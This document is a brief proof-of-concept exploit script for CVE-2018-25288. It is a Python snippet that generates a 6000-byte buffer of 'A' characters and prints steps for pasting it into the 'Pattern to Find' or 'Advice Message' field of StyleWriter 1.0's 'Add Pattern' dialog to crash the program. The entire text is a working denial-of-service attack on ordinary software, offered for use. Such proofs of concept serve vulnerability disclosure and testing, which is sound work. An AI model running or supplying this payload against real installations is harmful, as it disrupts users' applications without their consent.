CVE-2018-25288

import pyperclip # Generate a payload of 6000 bytes to trigger the buffer overflow payload = "A" * 6000 print("[*] Payload generated successfully.") print("[*] Length: " + str(len(payload))) print("[*] Payload content: " + payload[:20] + "...") # Instructions for manual exploitation print("\n[*] Steps to reproduce:") print("1. Open StyleWriter 1.0") print("2. Navigate to the 'Add Pattern' dialog.") print("3. Copy the payload generated above or use pyperclip.copy(payload).") print("4. Paste the payload into the 'Pattern to Find' or 'Advice Message' field.") print("5. Observe the application crash (Denial of Service).")

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